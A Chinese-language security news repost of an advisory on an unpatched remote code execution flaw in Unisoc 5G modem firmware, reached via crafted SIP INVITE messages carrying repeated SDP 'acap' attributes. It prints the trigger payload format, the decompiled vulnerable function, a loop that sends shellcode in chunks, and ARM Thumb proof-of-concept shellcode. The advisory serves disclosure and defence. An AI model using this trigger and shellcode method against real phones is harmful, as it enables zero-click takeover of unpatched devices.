【0DAY漏洞】 全球5G手机芯片厂商之一‌的紫光展锐SOC存在RCE漏洞,影响数十家手机厂商,还未发布补丁

admin 2026-08-23 05:05:30 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 紫光展锐多个5GSoC平台(T612/T616/T606/T7250)的modem固件存在0day远程代码执行漏洞(CWE-674不受控递归)。攻击者通过蜂窝网络发送特制SIPINVITE消息,利用SDP中acap属性解码函数无递归深度限制触发栈溢出,可在受害modem上执行任意代码。目前官方未发布补丁,建议用户保持固件最新并避免接入不可信网络。 综合评分: 83 文章分类: 漏洞分析,红队,漏洞预警


cover_image

【0DAY漏洞】 全球5G手机芯片厂商之一‌的紫光展锐SOC存在RCE漏洞,影响数十家手机厂商,还未发布补丁

YGnight YGnight

night安全

2026年8月18日 19:53 四川

在小说阅读器读本章

去阅读

漏洞描述

紫光展锐是中国集成电路设计产业的主要企业,‌全球公开市场 3 家 5G 手机芯片厂商之一‌。收到情报紫光展锐移动 modem 固件蜂窝网络侧存在远程代码执行缺陷0DAY漏洞。攻击面位于 SIP 信令层,畸形 SDP 载荷经 SIP INVITE 抵带至目标 modem,触发内存破坏并在受害 modem 上执行任意原生代码。载体是 SIP 消息内夹带的 SDP,无需受害者交互,双方处于同一电话网络可达路径即成立。经查询涉及此楼的4个展锐 SoC 平台:T612、T616(官方已更名 T7255)、T606、T7250。这些平台广泛用于入门/低端 Android 机型,覆盖约 10 个品牌

这个漏洞归类为 CWE-674 不受控递归。modem 解析 SDP 时,acap 属性解码函数 _SDPDEC_AcapDecoder 未设递归调用上限。单行属性内连续出现多个 acap 时,SIP 任务栈持续向下生长,越过自身栈边界踩入相邻 sblock_0_2 任务栈,从而导致栈溢出问题。

| | | | — | — | | 漏洞类型 | 不受控递归 / 栈溢出 / 远程代码执行 | | 影响组件 | 紫光展锐 modem 固件 SDP/SIP 解析层 | | 受影响型号 | T612、T616、T606、T7250 | | 受影响固件 | MOCORTM_22A_W23.02.5_P12.14_Debug(Realme C33 搭载) | | CWE | CWE-674 不受控递归 | | 攻击前提 | 攻击者持有一台 UE,蜂窝网络可达,无需受害者交互 | | 报告来源 | SSD-Disclosure 公开技术报告 |

攻击者持一台网络可达 UE。后果:受害 modem 上执行任意原生代码。紫光展锐官方截至目前还没有发布漏洞相关补丁,也还没有公开回应。

漏洞原理

主要原因是acap 属性解码函数未对递归深度设限。modem 收到 SIP INVITE 后解析其 SDP,SDP 每行属性经 SipHandler_AttrDecoder 查表取得对应 handler 并调用。acap 对应 handler 为 _SDPDEC_AcapDecoder,该函数解析完当前 acap 值后读取下一属性名再查表,若仍为 acap 则递归调用自身。

undefined8 _SDPDEC_AcapDecoder(Token *token, ParseBuffer *parse_buffer, SdpMsgStruct *hSdpMsg)
{
    // ... 解析当前 acap 值 ...
    iVar2 = search_handler(&token->CurrToken, SipHandler_AttrDecoder, 0x38, &handler_id);
    handler = SipHandler_AttrDecoder[(int)handler_id].handler;
    token->currentHandlerExecution = handler;
    if ((handler == (sipHandlerFunc *)0x0) ||
        (cVar1 = (*handler)(token, parse_buffer, (int)hSdpMsg), cVar1 == '\x01')) {
        // handler 调用,若下一个属性仍为 acap,则递归调用自身
    }
}

acap 在 handler 表中自我引用,一行内连续多个 acap 时 handler 逐层递归调用自身,全程无深度上限。触发载荷格式如下。

8d0f280c 80 a0 e1 8b 3d   SipHandler [49] = "acap"
00 00 00 c3 15 c9 8b
v=0
a=acap:1 acap:1 acap:1 acap:1 acap:1 acap:1 acap:1 acap:1 [...] acap:1

递归层数叠加,SIP 任务栈持续消耗内存,越过自身栈边界写入相邻 sblock_0_2 任务栈,栈溢出。

for i, part in enumerate(get_shellcode_parts()):
    send_exploit(part, SIP_SEQ_ID, 165 - i * 8)
    SIP_SEQ_ID += 1

栈溢出后,原生的shellcode分块写入后续的SIP请求,modem 内存暂存拼接。shellcode是ARM Thumb 汇编,向固定地址 0x8d0f270c 写入标记值 0xdeadbeef,确认代码执行在 modem 上成立。

_second_chunk:
    movw r1, #0x270c
    movt r1, #0x8d0f
    movw r2, #0xbeef
    movt r2, #0xdead
    str r2, [r1]

验证脚本 dump_modem.sh 经 adb 导出整块 modem 内存,analysis.py 解析 0x372F000 起始的寄存器区,得到 r1 = 0x8d0f270c、r2 = 0xdeadbeef。0xdeadbeef 已写入目标地址,代码执行在 modem 环境成立。

修复建议

官方修复状态:紫光展锐官方截至目前还没有发布漏洞相关补丁,无明确修复时间表,等待厂商后续固件推送。由于modem 固件是闭源的,使用的用户是无法自查或修复防御的,能做的就是保持运营商固件为最新、避免接入不可信漫游和SIM网络


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:night安全 YGnight YGnight《【0DAY漏洞】 全球5G手机芯片厂商之一‌的紫光展锐SOC存在RCE漏洞,影响数十家手机厂商,还未发布补丁》

评论:0   参与:  0